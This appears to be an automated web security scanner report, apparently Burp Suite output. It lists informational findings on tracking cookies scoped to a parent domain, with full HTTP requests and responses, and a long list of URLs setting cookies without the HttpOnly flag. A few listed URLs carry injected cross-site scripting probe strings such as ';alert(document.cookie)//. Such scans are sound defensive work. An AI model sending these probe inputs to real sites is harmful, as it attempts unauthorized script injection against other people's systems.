<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...

14.315. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502D850131A3-40000101003A95D2|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940?AQB=1&pccr=true&&ndh=1&t=6/1/2011%207%3A22%3A3%200%20360&ce=ISO-8859-1&pageName=Macy%27s%20Ramps%20Up%20Online%20Operations-Page001-6280&g=http%3A//www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&r=http%3A//burp/show/45&cc=USD&ch=Baseline%20Home%3EIT%20Management&events=event4&c1=Macy%27s%20Ramps%20Up%20Online%20Operations&h1=Baseline%3EHome%3EIT%20Management%3EMacy%27s%20Ramps%20Up%20Online%20Operations&c2=IT%20Management&c3=Bob%20Violino&c4=Article&v4=Article&c5=Online&v5=Macy%27s%20Ramps%20Up%20Online%20Operations&c6=Article&v6=Baseline%20Home%3EIT%20Management&c7=Unregistered&v7=Bob%20Violino&c11=2011-01&c12=entzd.base/itmanagement&c13=New&c17=itmanagement%3Benterprise%3Bintelligence&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: ziffdavisbaseline.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4D5548[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|0-0|4D4EA057[CE]

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:31 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502D850131A3-40000101003A95D2|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/
Set-Cookie: s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 13:21:31 GMT
Last-Modified: Mon, 07 Feb 2011 13:21:31 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
ETag: "4D4EA05B-6329-062264D3"
Vary: *
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www8
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,............Q.;

14.316. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719?AQB=1&ndh=1&t=6/1/2011%207%3A22%3A14%200%20360&ce=ISO-8859-1&pageName=Macy%27s%20Ramps%20Up%20Online%20Operations-Page001-6280&g=http%3A//www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&r=http%3A//burp/show/45&cc=USD&ch=Baseline%20Home%3EIT%20Management&events=event4&c1=Macy%27s%20Ramps%20Up%20Online%20Operations&h1=Baseline%3EHome%3EIT%20Management%3EMacy%27s%20Ramps%20Up%20Online%20Operations&c2=IT%20Management&c3=Bob%20Violino&c4=Article&v4=Article&c5=Online&v5=Macy%27s%20Ramps%20Up%20Online%20Operations&c6=Article&v6=Baseline%20Home%3EIT%20Management&c7=Unregistered&v7=Bob%20Violino&c11=2011-01&c12=entzd.base/itmanagement&c13=New&c17=itmanagement%3Benterprise%3Bintelligence&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: ziffdavisbaseline.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:40 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/
Set-Cookie: s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 13:21:39 GMT
Last-Modified: Mon, 07 Feb 2011 13:21:39 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
ETag: "4D4EA063-15A2-3BF8F215"
Vary: *
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www126
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,............Q.;

14.317. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082?AQB=1&ndh=1&t=6/1/2011%207%3A22%3A56%200%20360&ce=ISO-8859-1&pageName=Macy%27s%20Ramps%20Up%20Online%20Operations-Page001-6280&g=http%3A//www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&r=http%3A//burp/show/45&cc=USD&ch=Baseline%20Home%3EIT%20Management&events=event4&c1=Macy%27s%20Ramps%20Up%20Online%20Operations&h1=Baseline%3EHome%3EIT%20Management%3EMacy%27s%20Ramps%20Up%20Online%20Operations&c2=IT%20Management&c3=Bob%20Violino&c4=Article&v4=Article&c5=Online&v5=Macy%27s%20Ramps%20Up%20Online%20Operations&c6=Article&v6=Baseline%20Home%3EIT%20Management&c7=Unregistered&v7=Bob%20Violino&c11=2011-01&c12=entzd.base/itmanagement&c13=New&c17=itmanagement%3Benterprise%3Bintelligence&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: ziffdavisbaseline.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:22:21 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/
Set-Cookie: s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 13:22:21 GMT
Last-Modified: Mon, 07 Feb 2011 13:22:21 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
ETag: "4D4EA08D-39CE-66A8A2EC"
Vary: *
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www187
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,............Q.;

15. Cookie without HttpOnly flag set previous next
There are 540 instances of this issue:

http://66.29.38.208/log.jsp
http://about.americanexpress.com/cr/
http://ads.adxpose.com/ads/impression.js
http://appdeveloper.intel.com/en-us/join
https://axptravel.americanexpress.com/consumertravel/travel.do
http://baselinemag.us.intellitxt.com/
http://blog.vibrantmedia.com/
http://channelmarketing.owneriq.com/rmb-account/login-page
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login
http://corp.americanexpress.com/gcs/cards/
http://corp.americanexpress.com/gcs/cards/land/compare.aspx
http://dailyme.com/
http://download32.us.intellitxt.com/
http://ecal.forexpros.com/e_cal.php
http://etfdb.com/
http://event.adxpose.com/event.flow
http://funp.com/
http://getclicky.com/106253
http://hellotxt.com/
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/
http://homeappliance.manualsonline.com/managemystuff.html
http://homeappliance.manualsonline.com/proxy.class.php
http://homeappliance.manualsonline.com/regman/login/loginForm
http://homeappliance.manualsonline.com/regman/user/getUserBlock
http://homeappliance.manualsonline.com/regman/user/validateUser
http://identi.ca/
http://imera.com.br/
http://info.bisk.com/MCIndex.asp
http://intellitxt.com/opt_out/ch_optout.asp
http://internetmailmanager.com/s/svrg.asp
http://live.activeconversion.com/webtracker/track.html
http://live.activeconversion.com/webtracker/track2.html
http://lovely-faces.com/index.php
http://mad4milk.net/
http://multiply.com/
http://newstrust.net/
https://online.americanexpress.com/myca/acctsumm/us/action
https://online.americanexpress.com/myca/logon/us/action
http://opensource.org/licenses/lgpl-license.php
http://opensource.org/licenses/mit-license.php
http://pdfdatabase.com/search/malayalam-kochupusthakam-free-download.html
http://phonefavs.com/
http://photobucket.com/$|zone.msn.com|xbox.com|www.aol.com/$|http:/Webmail.aol.com/$|http:/travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://ping.fm/
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm
http://session.owneriq.net/regman/mem/initsession
http://software.intel.com/en-us/articles/intel-cloud-builders/
http://software.intel.com/sites/oss/
http://sphinn.com/
https://splunk.webex.com/mw0305l/mywebex/default.do
http://splunkbase.splunk.com/
http://starpulse.us.intellitxt.com/intellitxt/switch.asp
http://t.mookie1.com/t/v1/clk
http://t2.trackalyzer.com/trackalyze.asp
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://technorati.com/
http://tipd.com/
http://travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://twitter.com/
http://twitter.com/ORTHOSuperSite
http://twitter.com/VibrantMedia
http://twitter.com/owneriq
http://twitter.com/search/users
http://twitter.com/share
http://twitter.com/tipd
http://unalog.com/
http://us.blackberry.com/developers/*
http://www.360macedonia.com/macedonia/mk/sonovnik.php
http://www.ad4mat.de/ads/conbanner_bild1.php
http://www.amazon.com/
http://www.americanexpressfhr.com/
http://www.baselinemag.com/
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
http://www.baselinemag.com/googlecse.html
http://www.bebo.com/
http://www.beckerortho.com/
http://www.bibsonomy.org/
https://www.blackberry.com/profile/
http://www.bookmarks.fr/
http://www.breitband-anbieter.com/
http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/
http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html
http://www.coe.gatech.edu/
http://www.diigo.com/
http://www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.download32.com/
http://www.download32.com/nslookup-software.html
http://www.download32.com/resources/calendar.css
http://www.download32.com/resources/calendar.js
http://www.ebooklibs.com/
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/
http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/
http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/
http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/
http://www.eweek.com/c/s/Videos/
http://www.filetransit.com/files.php
http://www.folkd.com/
http://www.foxitsoftware.com/
http://www.gabbr.com/
http://www.gpg.org/
http://www.hemidemi.com/
http://www.jamespot.com/
http://www.jazdtech.com/techdirect/
http://www.jazdtech.com/techdirect/content/download.htm
http://www.jazdtech.com/techdirect/lg/logImpressions.htm
http://www.jumptags.com/
http://www.linkatopia.com/
http://www.linkedin.com/
http://www.linkedin.com/companies/222438/OwnerIQ
http://www.linkedin.com/groupInvitation
http://www.lovely-faces.com/
http://www.manualsonline.com/privacy.html
http://www.manualsonline.com/tc.html
http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html
http://www.migrationexpertzone.com/
http://www.mindbodygreen.com/
http://www.mister-wong.com/
http://www.mylinkvault.com/
http://www.myspace.com/
http://www.netlog.com/
http://www.netvouz.com/
http://www.oandp.com/
http://www.officedepot.com/
http://www.officedepot.com/promo/list5.do
http://www.oit.gatech.edu/content/information-security/
http://www.oit.gatech.edu/service/software-distribution/software-distribution
http://www.oneview.de/
http://www.opensource.org/licenses
http://www.opensource.org/licenses/gpl-license.php
http://www.opensource.org/licenses/mit-license.php
http://www.orthougm.com/nslookup.html
http://www.othawaii.com/default.asp
http://www.pdfforge.org/
http://www.pointehilton.com/
http://www.pusha.se/
http://www.retrevo.com/support/HP-W8000-Desktops-manual/id/3823ag123/t/2
http://www.slackinc.com/privacypolicy.asp
https://www.slackinc.com/reprints/order.asp
https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp
https://www.slackinc.com/subscribe/newsubs/otistep1.asp
http://www.smartertechnology.com/c/s/Tools/
http://www.splunk.com/cave/narc.php
http://www.startaid.com/
http://www.stumpedia.com/
http://www.sulit.com.ph/index.php/view
http://www.symbaloo.com/
http://www.tarifcheck24.com/
http://www.technotizie.it/
http://www.usbjd.org/
http://www.viadeo.com/
http://www.vibrantmedia.co.uk/
http://www.vibrantmedia.com/about/board.asp
http://www.vibrantmedia.com/about/index.asp
http://www.vibrantmedia.com/whatisIntelliTXT.asp
http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.webnews.de/
http://www.wechseln.de/
http://www.widgetbox.com/widget/bookmarks-kledyde
http://www.xerpi.com/
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www1.hilton.com/en_US/hi/index.do
http://www201.americanexpress.com/business-credit-cards/
http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789
http://www201.americanexpress.com/business-credit-cards/business-credit-cards
http://www201.americanexpress.com/business-credit-cards/business-solutions/overview
http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards
http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards
http://www201.americanexpress.com/getthecard/
http://www201.americanexpress.com/getthecard/home
https://www201.americanexpress.com/MobileWeb/index.jsp
https://www209.americanexpress.com/merchant/marketing-data/pages/home
https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms
https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends
http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do
https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do
https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do
https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do
https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm
https://www257.americanexpress.com/openhome/smallbusiness.do
https://www295.americanexpress.com/entertainmentaccess/home.do
https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do
https://www295.americanexpress.com/premium/credit-report-monitoring/enquiry.do
http://zh-hans.splunk.com/cave/narc.php
http://zh-hant.splunk.com/cave/narc.php
http://a.rfihub.com/ca.gif
http://a.tribalfusion.com/i.cid
http://a.tribalfusion.com/j.ad
http://about.americanexpress.com/
http://about.americanexpress.com/sm/
http://action.media6degrees.com/orbserv/hbpix
http://ad.doubleclick.net/click
http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B~okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B~sscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html
http://ad.doubleclick.net/clk
http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11
http://ad.yieldmanager.com/pixel
http://ad.yieldmanager.com/unpixel
http://ad.zanox.com/ppv/
http://ad.zanox.com/tpv/
http://adclick.g.doubleclick.net/aclk
http://ak1.abmr.net/is/us.blackberry.com
http://altfarm.mediaplex.com/ad/ck/14302-119028-23636-2
http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2
http://altfarm.mediaplex.com/ad/js/14302-119028-23636-2
http://altfarm.mediaplex.com/ad/nc/14302-119028-23636-2
http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php
http://ar.voicefive.com/b/wc_beacon.pli
http://ar.voicefive.com/bmx3/broker.pli
http://au2m8.com/
http://b.scorecardresearch.com/b
http://b.scorecardresearch.com/p
